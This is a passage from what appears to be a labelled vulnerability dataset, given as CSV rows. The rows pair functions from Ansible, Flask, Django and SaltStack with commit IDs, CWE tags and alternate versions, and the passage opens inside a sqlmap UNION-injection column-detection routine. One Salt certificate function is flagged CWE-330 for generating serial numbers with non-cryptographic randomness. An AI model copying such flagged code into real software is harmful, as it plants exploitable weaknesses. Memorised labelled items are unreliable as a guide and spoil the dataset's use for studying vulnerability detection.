                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                    deviation = stdev(ratios)

                    if deviation is not None:
                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                        if min_ < lower:
                            retVal = minItem[0]

                        if max_ > upper:
                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                                retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = ""target URL appears to be UNION injectable with %d columns"" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r""\d+"", ""N"", infoMsg))

    return retVal"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/cli/inventory.py,0,"def _get_group_variables(self, group):

        # get info from inventory source
        res = group.get_vars()

        # FIXME: add switch to skip vars plugins, add vars plugin info
        for inventory_dir in self.inventory._sources:
            res = combine_vars(res, self.get_plugin_vars(inventory_dir, group))

        if group.priority != 1:
            res['ansible_group_priority'] = group.priority

        return res",,ansible/ansible,265d838ec985a3e92058ba9a642329465cb54ae2,"def _get_group_variables(self, group):

        # get info from inventory source
        res = group.get_vars()

        # FIXME: add switch to skip vars plugins
        # add vars plugin info
        for inventory_dir in self.inventory._sources:
            res = combine_vars(res, self.get_plugin_vars(inventory_dir, group))

        if group.priority != 1:
            res['ansible_group_priority'] = group.priority

        return res"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/scaffold.py,0,"def register_error_handler(
        self,
        code_or_exception: t.Union[t.Type[Exception], int],
        f: ""ErrorHandlerCallable"",
    ) -> None:
        """"""Alternative error attach function to the :meth:`errorhandler`
        decorator that is more straightforward to use for non decorator
        usage.

        .. versionadded:: 0.7
        """"""
        exc_class, code = self._get_exc_class_and_code(code_or_exception)
        self.error_handler_spec[None][code][exc_class] = f",,pallets/flask,127df57a06ec7b1a8b698206b1bdefc93248de5a,"def register_error_handler(
        self,
        code_or_exception: t.Union[t.Type[Exception], int],
        f: ""ErrorHandlerCallable"",
    ) -> None:
        """"""Alternative error attach function to the :meth:`errorhandler`
        decorator that is more straightforward to use for non decorator
        usage.

        .. versionadded:: 0.7
        """"""
        if isinstance(code_or_exception, HTTPException):  # old broken behavior
            raise ValueError(
                ""Tried to register a handler for an exception instance""
                f"" {code_or_exception!r}. Handlers can only be""
                "" registered for exception classes or HTTP error codes.""
            )

        try:
            exc_class, code = self._get_exc_class_and_code(code_or_exception)
        except KeyError:
            raise KeyError(
                f""'{code_or_exception}' is not a recognized HTTP error""
                "" code. Use a subclass of HTTPException with that code""
                "" instead.""
            ) from None

        self.error_handler_spec[None][code][exc_class] = f"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/auth/tests/test_basic.py,0,"def test_createsuperuser_management_command(self):
        ""Check the operation of the createsuperuser management command""
        # We can use the management command to create a superuser
        new_io = StringIO()
        call_command(
            ""createsuperuser"",
            interactive=False,
            username=""joe"",
            email=""joe@somewhere.org"",
            stdout=new_io
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, 'Superuser created successfully.')
        u = User.objects.get(username=""joe"")
        self.assertEqual(u.email, 'joe@somewhere.org')

        # created password should be unusable
        self.assertFalse(u.has_usable_password())

        # We can supress output on the management command
        new_io = StringIO()
        call_command(
            ""createsuperuser"",
            interactive=False,
            username=""joe2"",
            email=""joe2@somewhere.org"",
            verbosity=0,
            stdout=new_io
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, '')
        u = User.objects.get(username=""joe2"")
        self.assertEqual(u.email, 'joe2@somewhere.org')
        self.assertFalse(u.has_usable_password())

        call_command(
            ""createsuperuser"",
            interactive=False,
            username=""joe+admin@somewhere.org"",
            email=""joe@somewhere.org"",
            verbosity=0
        )
        u = User.objects.get(username=""joe+admin@somewhere.org"")
        self.assertEqual(u.email, 'joe@somewhere.org')
        self.assertFalse(u.has_usable_password())",CWE-Unknown,django/django,a2814846ca006b4fbf3a893ec52cd9d444b3a3eb,"def test_createsuperuser_management_command(self):
        ""Check the operation of the createsuperuser management command""
        # We can use the management command to create a superuser
        new_io = StringIO()
        call_command(""createsuperuser"",
            interactive=False,
            username=""joe"",
            email=""joe@somewhere.org"",
            stdout=new_io
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, 'Superuser created successfully.')
        u = User.objects.get(username=""joe"")
        self.assertEqual(u.email, 'joe@somewhere.org')

        # created password should be unusable
        self.assertFalse(u.has_usable_password())

        # We can supress output on the management command
        new_io = StringIO()
        call_command(""createsuperuser"",
            interactive=False,
            username=""joe2"",
            email=""joe2@somewhere.org"",
            verbosity=0,
            stdout=new_io
        )
        command_output = new_io.getvalue().strip()
        self.assertEqual(command_output, '')
        u = User.objects.get(username=""joe2"")
        self.assertEqual(u.email, 'joe2@somewhere.org')
        self.assertFalse(u.has_usable_password())

        call_command(""createsuperuser"",
            interactive=False,
            username=""joe+admin@somewhere.org"",
            email=""joe@somewhere.org"",
            verbosity=0
        )
        u = User.objects.get(username=""joe+admin@somewhere.org"")
        self.assertEqual(u.email, 'joe@somewhere.org')
        self.assertFalse(u.has_usable_password())"
,UNKNOWN,UNKNOWN,salt/modules/x509.py,1,"def create_certificate(
        path=None, text=False, overwrite=True, ca_server=None, **kwargs):
    '''
    Create an X509 certificate.

    path:
        Path to write the certificate to.

    text:
        If ``True``, return the PEM text without writing to a file.
        Default ``False``.

    overwrite:
        If True(default), create_certificate will overwrite the entire pem
        file. Set False to preserve existing private keys and dh params that
        may exist in the pem file.

    kwargs:
        Any of the properties below can be included as additional
        keyword arguments.

    ca_server:
        Request a remotely signed certificate from ca_server. For this to
        work, a ``signing_policy`` must be specified, and that same policy
        must be configured on the ca_server. See ``signing_policy`` for
        details. Also the salt master must permit peers to call the
        ``sign_remote_certificate`` function.

        Example:

        /etc/salt/master.d/peer.conf

        .. code-block:: yaml

            peer:
              .*:
                - x509.sign_remote_certificate

    subject properties:
        Any of the values below can be included to set subject properties
        Any other subject properties supported by OpenSSL should also work.

        C:
            2 letter Country code
        CN:
            Certificate common name, typically the FQDN.

        Email:
            Email address

        GN:
            Given Name

        L:
            Locality

        O:
            Organization

        OU:
            Organization Unit

        SN:
            SurName

        ST:
            State or Province

    signing_private_key:
        A path or string of the private key in PEM format that will be used
        to sign this certificate. If neither ``signing_cert``, ``public_key``,
        or ``csr`` are included, it will be assumed that this is a self-signed
        certificate, and the public key matching ``signing_private_key`` will
        be used to create the certificate.

    signing_private_key_passphrase:
        Passphrase used to decrypt the signing_private_key.

    signing_cert:
        A certificate matching the private key that will be used to sign this
        certificate. This is used to populate the issuer values in the
        resulting certificate. Do not include this value for
        self-signed certificates.

    public_key:
        The public key to be included in this certificate. This can be sourced
        from a public key, certificate, csr or private key. If a private key
        is used, the matching public key from the private key will be
        generated before any processing is done. This means you can request a
        certificate from a remote CA using a private key file as your
        public_key and only the public key will be sent across the network to
        the CA. If neither ``public_key`` or ``csr`` are specified, it will be
        assumed that this is a self-signed certificate, and the public key
        derived from ``signing_private_key`` will be used. Specify either
        ``public_key`` or ``csr``, not both. Because you can input a CSR as a
        public key or as a CSR, it is important to understand the difference.
        If you import a CSR as a public key, only the public key will be added
        to the certificate, subject or extension information in the CSR will
        be lost.

    public_key_passphrase:
        If the public key is supplied as a private key, this is the passphrase
        used to decrypt it.

    csr:
        A file or PEM string containing a certificate signing request. This
        will be used to supply the subject, extensions and public key of a
        certificate. Any subject or extensions specified explicitly will
        overwrite any in the CSR.

    basicConstraints:
        X509v3 Basic Constraints extension.

    extensions:
        The following arguments set X509v3 Extension values. If the value
        starts with ``critical ``, the extension will be marked as critical.

        Some special extensions are ``subjectKeyIdentifier`` and
        ``authorityKeyIdentifier``.

        ``subjectKeyIdentifier`` can be an explicit value or it can be the
        special string ``hash``. ``hash`` will set the subjectKeyIdentifier
        equal to the SHA1 hash of the modulus of the public key in this
        certificate. Note that this is not the exact same hashing method used
        by OpenSSL when using the hash value.

        ``authorityKeyIdentifier`` Use values acceptable to the openssl CLI
        tools. This will automatically populate ``authorityKeyIdentifier``
        with the ``subjectKeyIdentifier`` of ``signing_cert``. If this is a
        self-signed cert these values will be the same.

        basicConstraints:
            X509v3 Basic Constraints

        keyUsage:
            X509v3 Key Usage

        extendedKeyUsage:
            X509v3 Extended Key Usage

        subjectKeyIdentifier:
            X509v3 Subject Key Identifier

        issuerAltName:
            X509v3 Issuer Alternative Name

        subjectAltName:
            X509v3 Subject Alternative Name

        crlDistributionPoints:
            X509v3 CRL distribution points

        issuingDistributionPoint:
            X509v3 Issuing Distribution Point

        certificatePolicies:
            X509v3 Certificate Policies

        policyConstraints:
            X509v3 Policy Constraints

        inhibitAnyPolicy:
            X509v3 Inhibit Any Policy

        nameConstraints:
            X509v3 Name Constraints

        noCheck:
            X509v3 OCSP No Check

        nsComment:
            Netscape Comment

        nsCertType:
            Netscape Certificate Type

    days_valid:
        The number of days this certificate should be valid. This sets the
        ``notAfter`` property of the certificate. Defaults to 365.

    version:
        The version of the X509 certificate. Defaults to 3. This is
        automatically converted to the version value, so ``version=3``
        sets the certificate version field to 0x2.

    serial_number:
        The serial number to assign to this certificate. If omitted a random
        serial number of size ``serial_bits`` is generated.

    serial_bits:
        The number of bits to use when randomly generating a serial number.
        Defaults to 64.

    algorithm:
        The hashing algorithm to be used for signing this certificate.
        Defaults to sha256.

    copypath:
        An additional path to copy the resulting certificate to. Can be used
        to maintain a copy of all certificates issued for revocation purposes.

    prepend_cn:
        If set to True, the CN and a dash will be prepended to the copypath's filename.

        Example:
            /etc/pki/issued_certs/www.example.com-DE:CA:FB:AD:00:00:00:00.crt

    signing_policy:
        A signing policy that should be used to create this certificate.
        Signing policies should be defined in the minion configuration, or in
        a minion pillar. It should be a yaml formatted list of arguments
        which will override any arguments passed to this function. If the
        ``minions`` key is included in the signing policy, only minions
        matching that pattern will be permitted to remotely request
        certificates from that policy.

        Example:

        .. code-block:: yaml

            x509_signing_policies:
              www:
                - minions: 'www*'
                - signing_private_key: /etc/pki/ca.key
                - signing_cert: /etc/pki/ca.crt
                - C: US
                - ST: Utah
                - L: Salt Lake City
                - basicConstraints: ""critical CA:false""
                - keyUsage: ""critical cRLSign, keyCertSign""
                - subjectKeyIdentifier: hash
                - authorityKeyIdentifier: keyid,issuer:always
                - days_valid: 90
                - copypath: /etc/pki/issued_certs/

        The above signing policy can be invoked with ``signing_policy=www``

    CLI Example:

    .. code-block:: bash

        salt '*' x509.create_certificate path=/etc/pki/myca.crt \\
        signing_private_key='/etc/pki/myca.key' csr='/etc/pki/myca.csr'}
    '''

    if not path and not text and \
            ('testrun' not in kwargs or kwargs['testrun'] is False):
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified.')
    if path and text:
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified, not both.')

    if 'public_key_passphrase' not in kwargs:
        kwargs['public_key_passphrase'] = None
    if ca_server:
        if 'signing_policy' not in kwargs:
            raise salt.exceptions.SaltInvocationError(
                'signing_policy must be specified'
                'if requesting remote certificate from ca_server {0}.'
                .format(ca_server))
        if 'csr' in kwargs:
            kwargs['csr'] = get_pem_entry(
                kwargs['csr'],
                pem_type='CERTIFICATE REQUEST').replace('\n', '')
        if 'public_key' in kwargs:
            # Strip newlines to make passing through as cli functions easier
            kwargs['public_key'] = get_public_key(
                kwargs['public_key'],
                passphrase=kwargs['public_key_passphrase']).replace('\n', '')

        # Remove system entries in kwargs
        # Including listen_in and preqreuired because they are not included
        # in STATE_INTERNAL_KEYWORDS
        # for salt 2014.7.2
        for ignore in list(_STATE_INTERNAL_KEYWORDS) + \
                ['listen_in', 'preqrequired', '__prerequired__']:
            kwargs.pop(ignore, None)

        certs = __salt__['publish.publish'](
            tgt=ca_server,
            fun='x509.sign_remote_certificate',
            arg=str(kwargs))

        if not any(certs):
            raise salt.exceptions.SaltInvocationError(
                    'ca_server did not respond'
                    ' salt master must permit peers to'
                    ' call the sign_remote_certificate function.')

        cert_txt = certs[ca_server]

        if path:
            return write_pem(
                text=cert_txt,
                overwrite=overwrite,
                path=path,
                pem_type='CERTIFICATE'
            )
        else:
            return cert_txt

    signing_policy = {}
    if 'signing_policy' in kwargs:
        signing_policy = _get_signing_policy(kwargs['signing_policy'])
        if isinstance(signing_policy, list):
            dict_ = {}
            for item in signing_policy:
                dict_.update(item)
            signing_policy = dict_

    # Overwrite any arguments in kwargs with signing_policy
    kwargs.update(signing_policy)

    for prop, default in six.iteritems(CERT_DEFAULTS):
        if prop not in kwargs:
            kwargs[prop] = default

    cert = M2Crypto.X509.X509()

    # X509 Version 3 has a value of 2 in the field.
    # Version 2 has a value of 1.
    # https://tools.ietf.org/html/rfc5280#section-4.1.2.1
    cert.set_version(kwargs['version'] - 1)

    # Random serial number if not specified
    if 'serial_number' not in kwargs:
        kwargs['serial_number'] = _dec2hex(
            random.getrandbits(kwargs['serial_bits']))
    cert.set_serial_number(int(kwargs['serial_number'].replace(':', ''), 16))

    # Set validity dates
    # pylint: disable=no-member
    not_before = M2Crypto.m2.x509_get_not_before(cert.x509)
    not_after = M2Crypto.m2.x509_get_not_after(cert.x509)
    M2Crypto.m2.x509_gmtime_adj(not_before, 0)
    M2Crypto.m2.x509_gmtime_adj(not_after, 60 * 60 * 24 * kwargs['days_valid'])
    # pylint: enable=no-member

    # If neither public_key or csr are included, this cert is self-signed
    if 'public_key' not in kwargs and 'csr' not in kwargs:
        kwargs['public_key'] = kwargs['signing_private_key']
        if 'signing_private_key_passphrase' in kwargs:
            kwargs['public_key_passphrase'] = kwargs[
                'signing_private_key_passphrase']

    csrexts = {}
    if 'csr' in kwargs:
        kwargs['public_key'] = kwargs['csr']
        csr = _get_request_obj(kwargs['csr'])
        cert.set_subject(csr.get_subject())
        csrexts = read_csr(kwargs['csr'])['X509v3 Extensions']

    cert.set_pubkey(get_public_key(kwargs['public_key'],
                                   passphrase=kwargs['public_key_passphrase'], asObj=True))

    subject = cert.get_subject()

    # pylint: disable=unused-variable
    for entry, num in six.iteritems(subject.nid):
        if entry in kwargs:
            setattr(subject, entry, kwargs[entry])
    # pylint: enable=unused-variable

    if 'signing_cert' in kwargs:
        signing_cert = _get_certificate_obj(kwargs['signing_cert'])
    else:
        signing_cert = cert
    cert.set_issuer(signing_cert.get_subject())

    for extname, extlongname in six.iteritems(EXT_NAME_MAPPINGS):
        if (extname in kwargs or extlongname in kwargs or
                extname in csrexts or extlongname in csrexts) is False:
            continue

        # Use explicitly set values first, fall back to CSR values.
        extval = kwargs.get(extname) or kwargs.get(extlongname) or \
            csrexts.get(extname) or csrexts.get(extlongname)

        critical = False
        if extval.startswith('critical '):
            critical = True
            extval = extval[9:]

        if extname == 'subjectKeyIdentifier' and 'hash' in extval:
            extval = extval.replace('hash', _get_pubkey_hash(cert))

        issuer = None
        if extname == 'authorityKeyIdentifier':
            issuer = signing_cert

        if extname == 'subjectAltName':
            extval = extval.replace('IP Address', 'IP')

        ext = _new_extension(
            name=extname, value=extval, critical=critical, issuer=issuer)
        if not ext.x509_ext:
            log.info(
                'Invalid X509v3 Extension. {0}: {1}'.format(extname, extval))
            continue

        cert.add_ext(ext)

    if 'signing_private_key_passphrase' not in kwargs:
        kwargs['signing_private_key_passphrase'] = None
    if 'testrun' in kwargs and kwargs['testrun'] is True:
        cert_props = read_certificate(cert)
        cert_props['Issuer Public Key'] = get_public_key(
            kwargs['signing_private_key'],
            passphrase=kwargs['signing_private_key_passphrase'])
        return cert_props

    if not verify_private_key(private_key=kwargs['signing_private_key'],
                              passphrase=kwargs[
                                  'signing_private_key_passphrase'],
                              public_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'signing_private_key: {0} '
            'does no match signing_cert: {1}'.format(
                kwargs['signing_private_key'],
                kwargs.get('signing_cert', '')
            )
        )

    cert.sign(
        _get_private_key_obj(kwargs['signing_private_key'],
                             passphrase=kwargs['signing_private_key_passphrase']),
        kwargs['algorithm']
    )

    if not verify_signature(cert, signing_pub_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'failed to verify certificate signature')

    if 'copypath' in kwargs:
        if 'prepend_cn' in kwargs and kwargs['prepend_cn'] is True:
            prepend = str(kwargs['CN']) + '-'
        else:
            prepend = ''
        write_pem(text=cert.as_pem(), path=os.path.join(kwargs['copypath'],
                                                        prepend + kwargs['serial_number'] + '.crt'),
                  pem_type='CERTIFICATE')

    if path:
        return write_pem(
            text=cert.as_pem(),
            overwrite=overwrite,
            path=path,
            pem_type='CERTIFICATE'
        )
    else:
        return cert.as_pem()",CWE-330,saltstack/salt,50ee3d568271d95e147919edb3aef01677288e39,"def create_certificate(
        path=None, text=False, overwrite=True, ca_server=None, **kwargs):
    '''
    Create an X509 certificate.

    path:
        Path to write the certificate to.

    text:
        If ``True``, return the PEM text without writing to a file.
        Default ``False``.

    overwrite:
        If True(default), create_certificate will overwrite the entire pem
        file. Set False to preserve existing private keys and dh params that
        may exist in the pem file.

    kwargs:
        Any of the properties below can be included as additional
        keyword arguments.

    ca_server:
        Request a remotely signed certificate from ca_server. For this to
        work, a ``signing_policy`` must be specified, and that same policy
        must be configured on the ca_server. See ``signing_policy`` for
        details. Also the salt master must permit peers to call the
        ``sign_remote_certificate`` function.

        Example:

        /etc/salt/master.d/peer.conf

        .. code-block:: yaml

            peer:
              .*:
                - x509.sign_remote_certificate

    subject properties:
        Any of the values below can be included to set subject properties
        Any other subject properties supported by OpenSSL should also work.

        C:
            2 letter Country code
        CN:
            Certificate common name, typically the FQDN.

        Email:
            Email address

        GN:
            Given Name

        L:
            Locality

        O:
            Organization

        OU:
            Organization Unit

        SN:
            SurName

        ST:
            State or Province

    signing_private_key:
        A path or string of the private key in PEM format that will be used
        to sign this certificate. If neither ``signing_cert``, ``public_key``,
        or ``csr`` are included, it will be assumed that this is a self-signed
        certificate, and the public key matching ``signing_private_key`` will
        be used to create the certificate.

    signing_private_key_passphrase:
        Passphrase used to decrypt the signing_private_key.

    signing_cert:
        A certificate matching the private key that will be used to sign this
        certificate. This is used to populate the issuer values in the
        resulting certificate. Do not include this value for
        self-signed certificates.

    public_key:
        The public key to be included in this certificate. This can be sourced
        from a public key, certificate, csr or private key. If a private key
        is used, the matching public key from the private key will be
        generated before any processing is done. This means you can request a
        certificate from a remote CA using a private key file as your
        public_key and only the public key will be sent across the network to
        the CA. If neither ``public_key`` or ``csr`` are specified, it will be
        assumed that this is a self-signed certificate, and the public key
        derived from ``signing_private_key`` will be used. Specify either
        ``public_key`` or ``csr``, not both. Because you can input a CSR as a
        public key or as a CSR, it is important to understand the difference.
        If you import a CSR as a public key, only the public key will be added
        to the certificate, subject or extension information in the CSR will
        be lost.

    public_key_passphrase:
        If the public key is supplied as a private key, this is the passphrase
        used to decrypt it.

    csr:
        A file or PEM string containing a certificate signing request. This
        will be used to supply the subject, extensions and public key of a
        certificate. Any subject or extensions specified explicitly will
        overwrite any in the CSR.

    basicConstraints:
        X509v3 Basic Constraints extension.

    extensions:
        The following arguments set X509v3 Extension values. If the value
        starts with ``critical ``, the extension will be marked as critical.

        Some special extensions are ``subjectKeyIdentifier`` and
        ``authorityKeyIdentifier``.

        ``subjectKeyIdentifier`` can be an explicit value or it can be the
        special string ``hash``. ``hash`` will set the subjectKeyIdentifier
        equal to the SHA1 hash of the modulus of the public key in this
        certificate. Note that this is not the exact same hashing method used
        by OpenSSL when using the hash value.

        ``authorityKeyIdentifier`` Use values acceptable to the openssl CLI
        tools. This will automatically populate ``authorityKeyIdentifier``
        with the ``subjectKeyIdentifier`` of ``signing_cert``. If this is a
        self-signed cert these values will be the same.

        basicConstraints:
            X509v3 Basic Constraints

        keyUsage:
            X509v3 Key Usage

        extendedKeyUsage:
            X509v3 Extended Key Usage

        subjectKeyIdentifier:
            X509v3 Subject Key Identifier

        issuerAltName:
            X509v3 Issuer Alternative Name

        subjectAltName:
            X509v3 Subject Alternative Name

        crlDistributionPoints:
            X509v3 CRL distribution points

        issuingDistributionPoint:
            X509v3 Issuing Distribution Point

        certificatePolicies:
            X509v3 Certificate Policies

        policyConstraints:
            X509v3 Policy Constraints

        inhibitAnyPolicy:
            X509v3 Inhibit Any Policy

        nameConstraints:
            X509v3 Name Constraints

        noCheck:
            X509v3 OCSP No Check

        nsComment:
            Netscape Comment

        nsCertType:
            Netscape Certificate Type

    days_valid:
        The number of days this certificate should be valid. This sets the
        ``notAfter`` property of the certificate. Defaults to 365.

    version:
        The version of the X509 certificate. Defaults to 3. This is
        automatically converted to the version value, so ``version=3``
        sets the certificate version field to 0x2.

    serial_number:
        The serial number to assign to this certificate. If omitted a random
        serial number of size ``serial_bits`` is generated.

    serial_bits:
        The number of bits to use when randomly generating a serial number.
        Defaults to 64.

    algorithm:
        The hashing algorithm to be used for signing this certificate.
        Defaults to sha256.

    copypath:
        An additional path to copy the resulting certificate to. Can be used
        to maintain a copy of all certificates issued for revocation purposes.

    prepend_cn:
        If set to True, the CN and a dash will be prepended to the copypath's filename.

        Example:
            /etc/pki/issued_certs/www.example.com-DE:CA:FB:AD:00:00:00:00.crt

    signing_policy:
        A signing policy that should be used to create this certificate.
        Signing policies should be defined in the minion configuration, or in
        a minion pillar. It should be a yaml formatted list of arguments
        which will override any arguments passed to this function. If the
        ``minions`` key is included in the signing policy, only minions
        matching that pattern will be permitted to remotely request
        certificates from that policy.

        Example:

        .. code-block:: yaml

            x509_signing_policies:
              www:
                - minions: 'www*'
                - signing_private_key: /etc/pki/ca.key
                - signing_cert: /etc/pki/ca.crt
                - C: US
                - ST: Utah
                - L: Salt Lake City
                - basicConstraints: ""critical CA:false""
                - keyUsage: ""critical cRLSign, keyCertSign""
                - subjectKeyIdentifier: hash
                - authorityKeyIdentifier: keyid,issuer:always
                - days_valid: 90
                - copypath: /etc/pki/issued_certs/

        The above signing policy can be invoked with ``signing_policy=www``

    CLI Example:

    .. code-block:: bash

        salt '*' x509.create_certificate path=/etc/pki/myca.crt \\
        signing_private_key='/etc/pki/myca.key' csr='/etc/pki/myca.csr'}
    '''

    if not path and not text and \
            ('testrun' not in kwargs or kwargs['testrun'] is False):
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified.')
    if path and text:
        raise salt.exceptions.SaltInvocationError(
            'Either path or text must be specified, not both.')

    if 'public_key_passphrase' not in kwargs:
        kwargs['public_key_passphrase'] = None
    if ca_server:
        if 'signing_policy' not in kwargs:
            raise salt.exceptions.SaltInvocationError(
                'signing_policy must be specified'
                'if requesting remote certificate from ca_server {0}.'
                .format(ca_server))
        if 'csr' in kwargs:
            kwargs['csr'] = get_pem_entry(
                kwargs['csr'],
                pem_type='CERTIFICATE REQUEST').replace('\n', '')
        if 'public_key' in kwargs:
            # Strip newlines to make passing through as cli functions easier
            kwargs['public_key'] = get_public_key(
                kwargs['public_key'],
                passphrase=kwargs['public_key_passphrase']).replace('\n', '')

        # Remove system entries in kwargs
        # Including listen_in and preqreuired because they are not included
        # in STATE_INTERNAL_KEYWORDS
        # for salt 2014.7.2
        for ignore in list(_STATE_INTERNAL_KEYWORDS) + \
                ['listen_in', 'preqrequired', '__prerequired__']:
            kwargs.pop(ignore, None)

        cert_txt = __salt__['publish.publish'](
            tgt=ca_server,
            fun='x509.sign_remote_certificate',
            arg=str(kwargs))[ca_server]
        if path:
            return write_pem(
                text=cert_txt,
                overwrite=overwrite,
                path=path,
                pem_type='CERTIFICATE'
            )
        else:
            return cert_txt

    signing_policy = {}
    if 'signing_policy' in kwargs:
        signing_policy = _get_signing_policy(kwargs['signing_policy'])
        if isinstance(signing_policy, list):
            dict_ = {}
            for item in signing_policy:
                dict_.update(item)
            signing_policy = dict_

    # Overwrite any arguments in kwargs with signing_policy
    kwargs.update(signing_policy)

    for prop, default in six.iteritems(CERT_DEFAULTS):
        if prop not in kwargs:
            kwargs[prop] = default

    cert = M2Crypto.X509.X509()

    # X509 Version 3 has a value of 2 in the field.
    # Version 2 has a value of 1.
    # https://tools.ietf.org/html/rfc5280#section-4.1.2.1
    cert.set_version(kwargs['version'] - 1)

    # Random serial number if not specified
    if 'serial_number' not in kwargs:
        kwargs['serial_number'] = _dec2hex(
            random.getrandbits(kwargs['serial_bits']))
    cert.set_serial_number(int(kwargs['serial_number'].replace(':', ''), 16))

    # Set validity dates
    # pylint: disable=no-member
    not_before = M2Crypto.m2.x509_get_not_before(cert.x509)
    not_after = M2Crypto.m2.x509_get_not_after(cert.x509)
    M2Crypto.m2.x509_gmtime_adj(not_before, 0)
    M2Crypto.m2.x509_gmtime_adj(not_after, 60 * 60 * 24 * kwargs['days_valid'])
    # pylint: enable=no-member

    # If neither public_key or csr are included, this cert is self-signed
    if 'public_key' not in kwargs and 'csr' not in kwargs:
        kwargs['public_key'] = kwargs['signing_private_key']
        if 'signing_private_key_passphrase' in kwargs:
            kwargs['public_key_passphrase'] = kwargs[
                'signing_private_key_passphrase']

    csrexts = {}
    if 'csr' in kwargs:
        kwargs['public_key'] = kwargs['csr']
        csr = _get_request_obj(kwargs['csr'])
        cert.set_subject(csr.get_subject())
        csrexts = read_csr(kwargs['csr'])['X509v3 Extensions']

    cert.set_pubkey(get_public_key(kwargs['public_key'],
                                   passphrase=kwargs['public_key_passphrase'], asObj=True))

    subject = cert.get_subject()

    # pylint: disable=unused-variable
    for entry, num in six.iteritems(subject.nid):
        if entry in kwargs:
            setattr(subject, entry, kwargs[entry])
    # pylint: enable=unused-variable

    if 'signing_cert' in kwargs:
        signing_cert = _get_certificate_obj(kwargs['signing_cert'])
    else:
        signing_cert = cert
    cert.set_issuer(signing_cert.get_subject())

    for extname, extlongname in six.iteritems(EXT_NAME_MAPPINGS):
        if (extname in kwargs or extlongname in kwargs or
                extname in csrexts or extlongname in csrexts) is False:
            continue

        # Use explicitly set values first, fall back to CSR values.
        extval = kwargs.get(extname) or kwargs.get(extlongname) or \
            csrexts.get(extname) or csrexts.get(extlongname)

        critical = False
        if extval.startswith('critical '):
            critical = True
            extval = extval[9:]

        if extname == 'subjectKeyIdentifier' and 'hash' in extval:
            extval = extval.replace('hash', _get_pubkey_hash(cert))

        issuer = None
        if extname == 'authorityKeyIdentifier':
            issuer = signing_cert

        if extname == 'subjectAltName':
            extval = extval.replace('IP Address', 'IP')

        ext = _new_extension(
            name=extname, value=extval, critical=critical, issuer=issuer)
        if not ext.x509_ext:
            log.info(
                'Invalid X509v3 Extension. {0}: {1}'.format(extname, extval))
            continue

        cert.add_ext(ext)

    if 'signing_private_key_passphrase' not in kwargs:
        kwargs['signing_private_key_passphrase'] = None
    if 'testrun' in kwargs and kwargs['testrun'] is True:
        cert_props = read_certificate(cert)
        cert_props['Issuer Public Key'] = get_public_key(
            kwargs['signing_private_key'],
            passphrase=kwargs['signing_private_key_passphrase'])
        return cert_props

    if not verify_private_key(private_key=kwargs['signing_private_key'],
                              passphrase=kwargs[
                                  'signing_private_key_passphrase'],
                              public_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'signing_private_key: {0} '
            'does no match signing_cert: {1}'.format(
                kwargs['signing_private_key'],
                kwargs.get('signing_cert', '')
            )
        )

    cert.sign(
        _get_private_key_obj(kwargs['signing_private_key'],
                             passphrase=kwargs['signing_private_key_passphrase']),
        kwargs['algorithm']
    )

    if not verify_signature(cert, signing_pub_key=signing_cert):
        raise salt.exceptions.SaltInvocationError(
            'failed to verify certificate signature')

    if 'copypath' in kwargs:
        if 'prepend_cn' in kwargs and kwargs['prepend_cn'] is True:
            prepend = str(kwargs['CN']) + '-'
        else:
            prepend = ''
        write_pem(text=cert.as_pem(), path=os.path.join(kwargs['copypath'],
                                                        prepend + kwargs['serial_number'] + '.crt'),
                  pem_type='CERTIFICATE')

    if path:
        return write_pem(
            text=cert.as_pem(),
            overwrite=overwrite,
            path=path,
            pem_type='CERTIFICATE'
        )
    else:
        return cert.as_pem()"
,UNKNOWN,UNKNOWN,salt/states/zabbix_user.py,1,"def admin_password_present(name, password=None, **kwargs):
    '''
    Initial change of Zabbix Admin password to password taken from one of the sources (only the most prioritized one):
        1. 'password' parameter
        2. '_connection_password' parameter
        3. pillar 'zabbix.password' setting

    1) Tries to log in as Admin with password found in state password parameter or _connection_password
       or pillar or default zabbix password in this precise order, if any of them is present.
    2) If one of above passwords matches, it tries to change the password to the most prioritized one.
    3) If not able to connect with any password then it fails.

    :param name: Just a name of state
    :param password: Optional - desired password for Admin to be set
    :param _connection_user: Optional - Ignored in this state (always assumed 'Admin')
    :param _connection_password: Optional - zabbix password (can also be set in opts or pillar, see module's docstring)
    :param _connection_url: Optional - url of zabbix frontend (can also be set in opts, pillar, see module's docstring)

    .. code-block:: yaml

        # password taken from pillar or _connection_password
        zabbix-admin-password:
            zabbix_user.admin_password_present
         
        # directly set password
        zabbix-admin-password:
            zabbix_user.admin_password_present:
                - password: SECRET_PASS
    '''
    dry_run = __opts__['test']
    default_zabbix_user = 'Admin'
    default_zabbix_password = 'zabbix'
    ret = {'name': name, 'changes': {}, 'result': False, 'comment': ''}

    passwords = []
    connection_args = {}
    connection_args['_connection_user'] = default_zabbix_user
    if '_connection_url' in kwargs:
        connection_args['_connection_url'] = kwargs['_connection_url']

    config_password = __salt__['config.option']('zabbix.password', None)
    if config_password:
        passwords.append(config_password)
    if '_connection_password' in kwargs:
        passwords.append(kwargs['_connection_password'])
    if password:
        passwords.append(password)

    # get unique list in preserved order and reverse it
    seen = set()
